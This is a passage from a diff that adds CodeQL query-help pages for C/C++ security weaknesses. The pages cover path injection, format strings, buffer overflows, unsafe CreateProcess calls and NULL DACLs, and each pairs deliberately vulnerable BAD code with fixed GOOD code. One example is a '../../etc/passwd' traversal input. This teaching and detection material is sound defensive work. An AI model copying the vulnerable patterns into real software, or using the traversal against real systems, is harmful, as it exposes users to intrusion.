your platform, then locking the file before the check can prevent an unexpected update. However, note that on some platforms (for example, Unix) file-system locks are typically *advisory*, and so can be ignored by an attacker. + + +## Example +The following example shows a case where a file is opened and then, if the opening was successful, its permissions are changed with `chmod`. However, an attacker might change the target of the file name between the initial opening and the permissions change, potentially changing the permissions of a different file. + + +```c +char *file_name; +FILE *f_ptr; + +/* Initialize file_name */ + +f_ptr = fopen(file_name, "w"); +if (f_ptr == NULL) { + /* Handle error */ +} + +/* ... */ + +if (chmod(file_name, S_IRUSR) == -1) { + /* Handle error */ +} +``` +This can be avoided by using `fchmod` with the file descriptor that was received from opening the file. This ensures that the permissions change is applied to the very same file that was opened. + + +```c +char *file_name; +int fd; + +/* Initialize file_name */ + +fd = open( + file_name, + O_WRONLY | O_CREAT | O_EXCL, + S_IRWXU +); +if (fd == -1) { + /* Handle error */ +} + +/* ... */ + +if (fchmod(fd, S_IRUSR) == -1) { + /* Handle error */ +} +``` + +## References +* The CERT Oracle Secure Coding Standard for C: [ FIO01-C. Be careful using functions that use file names for identification ](https://www.securecoding.cert.org/confluence/display/c/FIO01-C.+Be+careful+using+functions+that+use+file+names+for+identification). +* Common Weakness Enumeration: [CWE-367](https://cwe.mitre.org/data/definitions/367.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/TaintedAllocationSize.md b/docs/language/query-help/cpp/TaintedAllocationSize.md new file mode 100644 index 00000000000..728632b2e17 --- /dev/null +++ b/docs/language/query-help/cpp/TaintedAllocationSize.md @@ -0,0 +1,41 @@ +# Overflow in uncontrolled allocation size + +``` +ID: cpp/uncontrolled-allocation-size +Kind: path-problem +Severity: error +Precision: high +Tags: reliability security external/cwe/cwe-190 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-190/TaintedAllocationSize.ql) + +This code calculates an allocation size by multiplying a user input by a `sizeof` expression. Since the user input has no apparent guard on its magnitude, this multiplication can overflow. When an integer multiply overflows in C, the result can wrap around and be much smaller than intended. A later attempt to put data into the allocated buffer can then overflow. + + +## Recommendation +Guard all integer parameters that come from an external user. Implement a guard with the expected range for the parameter and make sure that the input value meets both the minimum and maximum requirements for this range. If the input value fails this guard then reject the request before proceeding further. If the input value passes the guard then subsequent calculations should not overflow. + + +## Example + +```c +int factor = atoi(getenv("BRANCHING_FACTOR")); + +// GOOD: Prevent overflow by checking the input +if (factor < 0 || factor > 1000) { + log("Factor out of range (%d)\n", factor); + return -1; +} + +// This line can allocate too little memory if factor +// is very large. +char **root_node = (char **) malloc(factor * sizeof(char *)); + +``` +This code shows one way to guard that an input value is within the expected range. If `factor` fails the guard, then an error is returned, and the value is not used as an argument to the subsequent call to `malloc`. Without this guard, the allocated buffer might be too small to hold the data intended for it. + + +## References +* The CERT Oracle Secure Coding Standard for C: [INT04-C. Enforce limits on integer values originating from tainted sources](https://www.securecoding.cert.org/confluence/display/c/INT04-C.+Enforce+limits+on+integer+values+originating+from+tainted+sources). +* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/TaintedCondition.md b/docs/language/query-help/cpp/TaintedCondition.md new file mode 100644 index 00000000000..d948d658d14 --- /dev/null +++ b/docs/language/query-help/cpp/TaintedCondition.md @@ -0,0 +1,45 @@ +# Untrusted input for a condition + +``` +ID: cpp/tainted-permissions-check +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-807 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-807/TaintedCondition.ql) + +This rule finds code where untrusted inputs are used in an `if` statement, and the body of that statement makes a security decision. This is an example of CWE-807 and makes the program vulnerable to attack. An attacker might be able to gain unauthorized access to the system by manipulating external inputs to the system. + + +## Recommendation +In most cases, you need to add or strengthen the checks made on the user-supplied data to ensure its integrity. The user-supplied data can then be used as a trusted input to the security decision. For example, instead of checking an HTTP cookie against a predictable fixed string, check a cookie against a randomly generated session key. + +This rule may highlight a few conditions where user-supplied data has been checked and can be trusted. It is not always possible to determine if the checks applied to data are enough to ensure security. + + +## Example +The following example is included in CWE 807. + + +```c +struct hostent *hp;struct in_addr myaddr; +char* tHost = "trustme.example.com"; +myaddr.s_addr=inet_addr(ip_addr_string); + +hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET); +if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) { + trusted = true; +} else { + trusted = false; +} + +``` +In this example, the result of a reverse DNS query is compared against a fixed string. An attacker can return an incorrect reverse DNS entry for the requesting IP and thus gain the same access as a legitimate user from `trustme.example.com`. + +To fix the problem in this example, you need to add an additional mechanism to test the user-supplied data. For example, numeric IP addresses could be used. + + +## References +* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/TaintedPath.md b/docs/language/query-help/cpp/TaintedPath.md new file mode 100644 index 00000000000..552c4bae0ca --- /dev/null +++ b/docs/language/query-help/cpp/TaintedPath.md @@ -0,0 +1,61 @@ +# Uncontrolled data used in path expression + +``` +ID: cpp/path-injection +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-022/TaintedPath.ql) + +Accessing paths controlled by users can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. + +Paths that are naively constructed from data controlled by a user may contain unexpected special characters, such as "..". Such a path may potentially point to any directory on the filesystem. + + +## Recommendation +Validate user input before using it to construct a filepath. Ideally, follow these rules: + +* Do not allow more than a single "." character. +* Do not allow directory separators such as "/" or "\" (depending on the filesystem). +* Do not rely on simply replacing problematic sequences such as "../". For example, after applying this filter to ".../...//" the resulting string would still be "../". +* Ideally use a whitelist of known good patterns. + +## Example +In this example, a username and file are read from the arguments to main and then used to access a file in the user's home directory. However, a malicious user could enter a filename which contains special characters. For example, the string "../../etc/passwd" will result in the code reading the file located at "/home/[user]/../../etc/passwd", which is the system's password file. This could potentially allow them to access all the system's passwords. + + +```c +int main(int argc, char** argv) { + char *userAndFile = argv[2]; + + { + char fileBuffer[FILENAME_MAX] = "/home/"; + char *fileName = fileBuffer; + size_t len = strlen(fileName); + strncat(fileName+len, userAndFile, FILENAME_MAX-len-1); + // BAD: a string from the user is used in a filename + fopen(fileName, "wb+"); + } + + { + char fileBuffer[FILENAME_MAX] = "/home/"; + char *fileName = fileBuffer; + size_t len = strlen(fileName); + // GOOD: use a fixed file + char* fixed = "jim/file.txt"; + strncat(fileName+len, fixed, FILENAME_MAX-len-1); + fopen(fileName, "wb+"); + } +} + +``` + +## References +* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). +* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). +* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html). +* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html). +* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/TooFewArguments.md b/docs/language/query-help/cpp/TooFewArguments.md new file mode 100644 index 00000000000..42d00e6e211 --- /dev/null +++ b/docs/language/query-help/cpp/TooFewArguments.md @@ -0,0 +1,42 @@ +# Call to function with fewer arguments than declared parameters + +``` +ID: cpp/too-few-arguments +Kind: problem +Severity: error +Precision: very-high +Tags: correctness maintainability security + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Underspecified%20Functions/TooFewArguments.ql) + +A function is called with fewer arguments than there are parameters of the function. + +This may indicate that an incorrect function is being called, or that the signature (parameter list) of the called function is not known to the author. + +In C, function calls generally need to provide the same number of arguments as there are arguments to the function. (Variadic functions can accept additional arguments.) Providing fewer arguments than there are parameters is extremely dangerous, as the called function will nevertheless try to obtain the missing arguments' values, either from the stack or from machine registers. As a result, the function may behave unpredictably. + +If the called function *modifies* a parameter corresponding to a missing argument, it may alter the state of the program upon its return. An attacker could use this to, for example, alter the control flow of the program to access forbidden resources. + + +## Recommendation +Call the function with the correct number of arguments. + + +## Example + +```c +void one_argument(); + +void calls() { + one_argument(1); // GOOD: `one_argument` will accept and use the argument + + one_argument(); // BAD: `one_argument` will receive an undefined value +} + +void one_argument(int x); + +``` + +## References +* SEI CERT C Coding Standard: [ DCL20-C. Explicitly specify void when a function accepts no arguments ](https://wiki.sei.cmu.edu/confluence/display/c/DCL20-C.+Explicitly+specify+void+when+a+function+accepts+no+arguments) \ No newline at end of file diff --git a/docs/language/query-help/cpp/UnboundedWrite.md b/docs/language/query-help/cpp/UnboundedWrite.md new file mode 100644 index 00000000000..70b2f98e2df --- /dev/null +++ b/docs/language/query-help/cpp/UnboundedWrite.md @@ -0,0 +1,42 @@ +# Unbounded write + +``` +ID: cpp/unbounded-write +Kind: path-problem +Severity: error +Precision: medium +Tags: reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-120/UnboundedWrite.ql) + +The program performs a buffer copy or write operation with no upper limit on the size of the copy. An unexpectedly long input that reaches this code will cause the buffer to overflow. In addition to causing program instability, techniques exist which may allow an attacker to use this vulnerability to execute arbitrary code. + + +## Recommendation +Always control the length of buffer copy and buffer write operations. `strncpy` should be used over `strcpy`, `snprintf` over `sprintf` etc. In general 'n-variant' functions should be preferred. + + +## Example + +```c +void congratulateUser(const char *userName) +{ + char buffer[80]; + + // BAD: this could overflow the buffer if the UserName is long + sprintf(buffer, "Congratulations, %s!", userName); + + MessageBox(hWnd, buffer, "New Message", MB_OK); +} +``` +In this example, the call to `sprintf` may overflow `buffer`. This occurs if the argument `userName` is very long, such that the resulting string is more than the 80 characters allowed. + +To fix the problem the call to `sprintf` should be replaced with `snprintf`, specifying a maximum length of 80 characters. + + +## References +* CERT C++ Coding Standard: [STR50-CPP. Guarantee that storage for strings has sufficient space for character data and the null terminator](https://www.securecoding.cert.org/confluence/display/cplusplus/STR50-CPP.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator). +* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). +* Common Weakness Enumeration: [CWE-787](https://cwe.mitre.org/data/definitions/787.html). +* Common Weakness Enumeration: [CWE-805](https://cwe.mitre.org/data/definitions/805.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UncontrolledFormatString.md b/docs/language/query-help/cpp/UncontrolledFormatString.md new file mode 100644 index 00000000000..5a9f830019c --- /dev/null +++ b/docs/language/query-help/cpp/UncontrolledFormatString.md @@ -0,0 +1,45 @@ +# Uncontrolled format string + +``` +ID: cpp/tainted-format-string +Kind: path-problem +Severity: warning +Precision: high +Tags: reliability security external/cwe/cwe-134 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-134/UncontrolledFormatString.ql) + +The program uses input from the user as a format string for `printf` style functions. This can lead to buffer overflows or data representation problems. An attacker can exploit this weakness to crash the program, disclose information or even execute arbitrary code. + +The results of this rule do not include inputs from the user that are transferred through global variables. Those can be found in the related rule "Uncontrolled format string (through global variable)". + + +## Recommendation +Use constant expressions as the format strings. If you need to print a value from the user, use `printf("%s", value_from_user)`. + + +## Example + +```c +#include + +void printWrapper(char *str) { + printf(str); +} + +int main(int argc, char **argv) { + // This should be avoided + printf(argv[1]); + + // This should be avoided too, because it has the same effect + printWrapper(argv[1]); + + // This is fine + printf("%s", argv[1]); +} +``` + +## References +* CERT C Coding Standard: [FIO30-C. Exclude user input from format strings](https://www.securecoding.cert.org/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings). +* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UncontrolledFormatStringThroughGlobalVar.md b/docs/language/query-help/cpp/UncontrolledFormatStringThroughGlobalVar.md new file mode 100644 index 00000000000..5191c3edec4 --- /dev/null +++ b/docs/language/query-help/cpp/UncontrolledFormatStringThroughGlobalVar.md @@ -0,0 +1,56 @@ +# Uncontrolled format string (through global variable) + +``` +ID: cpp/tainted-format-string-through-global +Kind: path-problem +Severity: warning +Precision: high +Tags: reliability security external/cwe/cwe-134 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-134/UncontrolledFormatStringThroughGlobalVar.ql) + +The program uses input from the user, propagated via a global variable, as a format string for `printf` style functions. This can lead to buffer overflows or data representation problems. An attacker can exploit this weakness to crash the program, disclose information or even execute arbitrary code. + +This rule only identifies inputs from the user that are transferred through global variables before being used in `printf` style functions. Analyzing the flow of data through global variables is more prone to errors and so this rule may identify some examples of code where the input is not really from the user. For example, when a global variable is set in two places, one that comes from the user and one that does not. In this case we would mark all usages of the global variable as input from the user, but the input from the user may always came after the call to the `printf` style functions. + +The results of this rule should be considered alongside the related rule "Uncontrolled format string" which tracks the flow of the values input by a user, excluding global variables, until the values are used as the format argument for a `printf` like function call. + + +## Recommendation +Use constant expressions as the format strings. If you need to print a value from the user, use `printf("%s", value_from_user)`. + + +## Example + +```c +#include + +char *copy; + +void copyArgv(char **argv) { + copy = argv[1]; +} + +void printWrapper(char *str) { + printf(str); +} + +int main(int argc, char **argv) { + copyArgv(argv); + + // This should be avoided + printf(copy); + + // This should be avoided too, because it has the same effect + printWrapper(copy); + + // This is fine + printf("%s", copy); +} + +``` + +## References +* CERT C Coding Standard: [FIO30-C. Exclude user input from format strings](https://www.securecoding.cert.org/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings). +* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UncontrolledProcessOperation.md b/docs/language/query-help/cpp/UncontrolledProcessOperation.md new file mode 100644 index 00000000000..56896c33bd3 --- /dev/null +++ b/docs/language/query-help/cpp/UncontrolledProcessOperation.md @@ -0,0 +1,46 @@ +# Uncontrolled process operation + +``` +ID: cpp/uncontrolled-process-operation +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-114 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-114/UncontrolledProcessOperation.ql) + +The code passes user input directly to `system`, `dlopen`, `LoadLibrary` or some other process or library routine. As a result, the user can cause execution of arbitrary code. + + +## Recommendation +If possible, use hard-coded string literals for the command to run or library to load. Instead of passing the user input directly to the process or library function, examine the user input and then choose among hard-coded string literals. + +If the applicable libraries or commands cannot be determined at compile time, then add code to verify that the user-input string is safe before using it. + + +## Example + +```c +int main(int argc, char** argv) { + char *lib = argv[2]; + + // BAD: the user can cause arbitrary code to be loaded + void* handle = dlopen(lib, RTLD_LAZY); + + // GOOD: only hard-coded libraries can be loaded + void* handle2; + + if (!strcmp(lib, "inmem")) { + handle2 = dlopen("/usr/share/dbwrap/inmem", RTLD_LAZY); + } else if (!strcmp(lib, "mysql")) { + handle2 = dlopen("/usr/share/dbwrap/mysql", RTLD_LAZY); + } else { + die("Invalid library specified\n"); + } +} + +``` + +## References +* Common Weakness Enumeration: [CWE-114](https://cwe.mitre.org/data/definitions/114.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UninitializedLocal.md b/docs/language/query-help/cpp/UninitializedLocal.md new file mode 100644 index 00000000000..41a3c38e030 --- /dev/null +++ b/docs/language/query-help/cpp/UninitializedLocal.md @@ -0,0 +1,61 @@ +# Potentially uninitialized local variable + +``` +ID: cpp/uninitialized-local +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-665 external/cwe/cwe-457 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/UninitializedLocal.ql) + +A local non-static variable of a non-class type has an undefined value before it is initialized. For example, it is incorrect to rely on an uninitialized integer to have the value `0`. + + +## Recommendation +Review the code and consider whether the variable should have an initializer or whether some path through the program lacks an assignment to the variable. + + +## Example +The function `absWrong` does not initialize the variable `j` in the case where `i = 0`. Functions `absCorrect1` and `absCorrect2` remedy this deficiency by adding an initializer and adding an assignment to one of the paths through the program, respectively. + + +```cpp +int absWrong(int i) { + int j; + if (i > 0) { + j = i; + } else if (i < 0) { + j = -i; + } + return j; // wrong: j may not be initialized before use +} + +int absCorrect1(int i) { + int j = 0; + if (i > 0) { + j = i; + } else if (i < 0) { + j = -i; + } + return j; // correct: j always initialized before use +} + +int absCorrect2(int i) { + int j; + if (i > 0) { + j = i; + } else if (i < 0) { + j = -i; + } else { + j = 0; + } + return j; // correct: j always initialized before use +} +``` + +## References +* ISO/IEC 9899:2011: [Programming languages - C (Section 6.3.2.1)](https://www.iso.org/standard/57853.html). +* Common Weakness Enumeration: [CWE-665](https://cwe.mitre.org/data/definitions/665.html). +* Common Weakness Enumeration: [CWE-457](https://cwe.mitre.org/data/definitions/457.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UnsafeCreateProcessCall.md b/docs/language/query-help/cpp/UnsafeCreateProcessCall.md new file mode 100644 index 00000000000..cf9b2e4d3a6 --- /dev/null +++ b/docs/language/query-help/cpp/UnsafeCreateProcessCall.md @@ -0,0 +1,53 @@ +# NULL application name with an unquoted path in call to CreateProcess + +``` +ID: cpp/unsafe-create-process-call +Kind: problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-428 external/microsoft/C6277 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-428/UnsafeCreateProcessCall.ql) + +This query indicates that there is a call to a function of the `CreateProcess*` family of functions, which introduces a security vulnerability. + + +## Recommendation +Do not use `NULL` for the `lpApplicationName` argument to the `CreateProcess*` function. + +If you pass `NULL` for `lpApplicationName`, use quotation marks around the executable path in `lpCommandLine`. + + +## Example +In the following example, `CreateProcessW` is called with a `NULL` value for `lpApplicationName`, and the value for `lpCommandLine` that represent the application path is not quoted and has spaces in it. + +If an attacker has access to the file system, they can elevate privileges by creating a file such as `C:\Program.exe` that will be executed instead of the intended application. + + +```cpp +STARTUPINFOW si; +PROCESS_INFORMATION pi; + +// ... + +CreateProcessW( // BUG + NULL, // lpApplicationName + (LPWSTR)L"C:\\Program Files\\MyApp", // lpCommandLine + NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); + +// ... +``` +To fix this issue, specify a valid string for `lpApplicationName`, or quote the path for `lpCommandLine`. For example: + +`(LPWSTR)L"\"C:\\Program Files\\MyApp\"", // lpCommandLine` + + +## References +* [CreateProcessA function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessa) +* [CreateProcessW function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessw) +* [CreateProcessAsUserA function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessasusera) +* [CreateProcessAsUserW function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessasuserw) +* [CreateProcessWithLogonW function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-createprocesswithlogonw) +* [CreateProcessWithTokenW function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-createprocesswithtokenw) +* Common Weakness Enumeration: [CWE-428](https://cwe.mitre.org/data/definitions/428.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UnsafeDaclSecurityDescriptor.md b/docs/language/query-help/cpp/UnsafeDaclSecurityDescriptor.md new file mode 100644 index 00000000000..03a0eace612 --- /dev/null +++ b/docs/language/query-help/cpp/UnsafeDaclSecurityDescriptor.md @@ -0,0 +1,52 @@ +# Setting a DACL to NULL in a SECURITY_DESCRIPTOR + +``` +ID: cpp/unsafe-dacl-security-descriptor +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-732 external/microsoft/C6248 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-732/UnsafeDaclSecurityDescriptor.ql) + +This query indicates that a call is setting the DACL field in a `SECURITY_DESCRIPTOR` to null. + +When using `SetSecurityDescriptorDacl` to set a discretionary access control (DACL), setting the `bDaclPresent` argument to `TRUE` indicates the prescence of a DACL in the security description in the argument `pDacl`. + +When the `pDacl` parameter does not point to a DACL (i.e. it is `NULL`) and the `bDaclPresent` flag is `TRUE`, a `NULL DACL` is specified. + +A `NULL DACL` grants full access to any user who requests it; normal security checking is not performed with respect to the object. + + +## Recommendation +You should not use a `NULL DACL` with an object because any user can change the DACL and owner of the security descriptor. + + +## Example +In the following example, the call to `SetSecurityDescriptorDacl` is setting an unsafe DACL (`NULL DACL`) to the security descriptor. + + +```cpp +SECURITY_DESCRIPTOR pSD; +SECURITY_ATTRIBUTES SA; + +if (!InitializeSecurityDescriptor(&pSD, SECURITY_DESCRIPTOR_REVISION)) +{ + // error handling +} +if (!SetSecurityDescriptorDacl(&pSD, + TRUE, // bDaclPresent - this value indicates the presence of a DACL in the security descriptor + NULL, // pDacl - the pDacl parameter does not point to a DACL. All access will be allowed + FALSE)) +{ + // error handling +} + +``` +To fix this issue, `pDacl` argument should be a pointer to an `ACL` structure that specifies the DACL for the security descriptor. + + +## References +* [SetSecurityDescriptorDacl function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/securitybaseapi/nf-securitybaseapi-setsecuritydescriptordacl) +* Common Weakness Enumeration: [CWE-732](https://cwe.mitre.org/data/definitions/732.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UnsafeUseOfStrcat.md b/docs/language/query-help/cpp/UnsafeUseOfStrcat.md new file mode 100644 index 00000000000..733b08ec235 --- /dev/null +++ b/docs/language/query-help/cpp/UnsafeUseOfStrcat.md @@ -0,0 +1,43 @@ +# Potentially unsafe use of strcat + +``` +ID: cpp/unsafe-strcat +Kind: problem +Severity: warning +Precision: medium +Tags: reliability correctness security external/cwe/cwe-676 external/cwe/cwe-120 external/cwe/cwe-251 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/UnsafeUseOfStrcat.ql) + +The standard library function `strcat` appends a source string to a target string. If you do not check the size of the source string then you cannot guarantee that appending the data to the target string will not cause a buffer overflow. Buffer overflows can lead to anything from a segmentation fault to a security vulnerability. + + +## Recommendation +Check the highlighted function calls carefully to ensure that no buffer overflow is possible. For a more robust solution, consider adding explicit range checks or using the `strncat` function instead. + + +## Example + +```cpp +void f(char *s) { + char buf[80]; + strcpy(buf, "s: "); + strcat(buf, s); // wrong: buffer not checked before strcat +} + +void g(char *s) { + char buf[80]; + strcpy(buf, "s: "); + if(strlen(s) < 77) + strcat(buf, s); // correct: buffer size checked before strcat +} + +``` + +## References +* I. Gerg, *An Overview and Example of the Buffer-Overflow Exploit*. IANewsletter vol 7, no 4, 2005. +* M. Donaldson, *Inside the Buffer Overflow Attack: Mechanism, Method & Prevention*. SANS Institute InfoSec Reading Room. 2002. +* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html). +* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). +* Common Weakness Enumeration: [CWE-251](https://cwe.mitre.org/data/definitions/251.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UnterminatedVarargsCall.md b/docs/language/query-help/cpp/UnterminatedVarargsCall.md new file mode 100644 index 00000000000..62993a50d6d --- /dev/null +++ b/docs/language/query-help/cpp/UnterminatedVarargsCall.md @@ -0,0 +1,59 @@ +# Unterminated variadic call + +``` +ID: cpp/unterminated-variadic-call +Kind: problem +Severity: warning +Precision: medium +Tags: reliability security external/cwe/cwe-121 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-121/UnterminatedVarargsCall.ql) + +The program calls a function that expects the variable argument list to be terminated with a sentinel value (typically NULL, 0 or -1). In this case, the sentinel value has been omitted as a final argument. This defect may result in incorrect behavior of the function and unintended stack memory access, leading to incorrect program results, instability, and even vulnerability to buffer overflow style attacks. + + +## Recommendation +Each description of a defect highlighted by this rule includes a suggested value for the terminator. Check that this value is correct, then add it to the end of the call. + + +## Example + +```cpp +#include + +void pushStrings(char *firstString, ...) +{ + va_list args; + char *arg; + + va_start(args, firstString); + + // process inputs, beginning with firstString, ending when NULL is reached + arg = firstString; + while (arg != NULL) + { + // push the string + pushString(arg); + + // move on to the next input + arg = va_arg(args, char *); + } + + va_end(args); +} + +void badFunction() +{ + pushStrings("hello", "world", NULL); // OK + + pushStrings("apple", "pear", "banana", NULL); // OK + + pushStrings("car", "bus", "train"); // BAD, not terminated with the expected NULL +} +``` +In this example, the third call to `pushStrings` is not correctly terminated. This call should be updated to include `NULL` as the fourth and final argument to this call. + + +## References +* Common Weakness Enumeration: [CWE-121](https://cwe.mitre.org/data/definitions/121.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/WcharCharConversion.md b/docs/language/query-help/cpp/WcharCharConversion.md new file mode 100644 index 00000000000..14898692d93 --- /dev/null +++ b/docs/language/query-help/cpp/WcharCharConversion.md @@ -0,0 +1,41 @@ +# Cast from char* to wchar_t* + +``` +ID: cpp/incorrect-string-type-conversion +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-704 external/microsoft/c/c6276 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-704/WcharCharConversion.ql) + +This rule indicates a potentially incorrect cast from an byte string (`char *`) to a wide-character string (`wchar_t *`). + +This cast might yield strings that are not correctly terminated; including potential buffer overruns when using such strings with some dangerous APIs. + + +## Recommendation +Do not explicitly cast byte strings to wide-character strings. + +For string literals, prepend the literal string with the letter "L" to indicate that the string is a wide-character string (`wchar_t *`). + +For converting a byte literal to a wide-character string literal, you would need to use the appropriate conversion function for the platform you are using. Please see the references section for options according to your platform. + + +## Example +In the following example, an byte string literal (`"a"`) is cast to a wide-character string. + + +```cpp +wchar_t* pSrc; + +pSrc = (wchar_t*)"a"; // casting a byte-string literal "a" to a wide-character string +``` +To fix this issue, prepend the literal with the letter "L" (`L"a"`) to define it as a wide-character string. + + +## References +* General resources: [std::mbstowcs](https://en.cppreference.com/w/cpp/string/multibyte/mbstowcs) +* Microsoft specific resources: [Security Considerations: International Features](https://docs.microsoft.com/en-us/windows/desktop/Intl/security-considerations--international-features) +* Common Weakness Enumeration: [CWE-704](https://cwe.mitre.org/data/definitions/704.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/WrongNumberOfFormatArguments.md b/docs/language/query-help/cpp/WrongNumberOfFormatArguments.md new file mode 100644 index 00000000000..db070d6b9b8 --- /dev/null +++ b/docs/language/query-help/cpp/WrongNumberOfFormatArguments.md @@ -0,0 +1,36 @@ +# Too few arguments to formatting function + +``` +ID: cpp/wrong-number-format-arguments +Kind: problem +Severity: error +Precision: high +Tags: reliability correctness security external/cwe/cwe-685 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Format/WrongNumberOfFormatArguments.ql) + +Each call to the `printf` function, or a related function, should include the number of arguments defined by the format. Passing the function more arguments than required is harmless (although it may be indicative of other defects). However, passing the function fewer arguments than are defined by the format can be a security vulnerability since the function will process the next item on the stack as the missing arguments. + +This might lead to an information leak if a sensitive value from the stack is printed. It might cause a crash if a value on the stack is interpreted as a pointer and leads to accessing unmapped memory. Finally, it may lead to a follow-on vulnerability if an attacker can use this problem to cause the output string to be too long or have unexpected contents. + + +## Recommendation +Review the format and arguments expected by the highlighted function calls. Update either the format or the arguments so that the expected number of arguments are passed to the function. + + +## Example + +```cpp +int main() { + printf("%d, %s\n", 42); // Will crash or print garbage + return 0; +} + +``` + +## References +* CERT C Coding Standard: [FIO30-C. Exclude user input from format strings](https://www.securecoding.cert.org/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings). +* cplusplus.com: [C++ Functions](http://www.tutorialspoint.com/cplusplus/cpp_functions.htm). +* Microsoft C Runtime Library Reference: [printf, wprintf](https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/printf-printf-l-wprintf-wprintf-l). +* Common Weakness Enumeration: [CWE-685](https://cwe.mitre.org/data/definitions/685.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/WrongTypeFormatArguments.md b/docs/language/query-help/cpp/WrongTypeFormatArguments.md new file mode 100644 index 00000000000..472eb3ef1a6 --- /dev/null +++ b/docs/language/query-help/cpp/WrongTypeFormatArguments.md @@ -0,0 +1,34 @@ +# Wrong type of arguments to formatting function + +``` +ID: cpp/wrong-type-format-argument +Kind: problem +Severity: error +Precision: high +Tags: reliability correctness security external/cwe/cwe-686 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Format/WrongTypeFormatArguments.ql) + +Each call to the `printf` function or a related function should include the type and sequence of arguments defined by the format. If the function is passed arguments of a different type or in a different sequence then the arguments are reinterpreted to fit the type and sequence expected, resulting in unpredictable behavior. + + +## Recommendation +Review the format and arguments expected by the highlighted function calls. 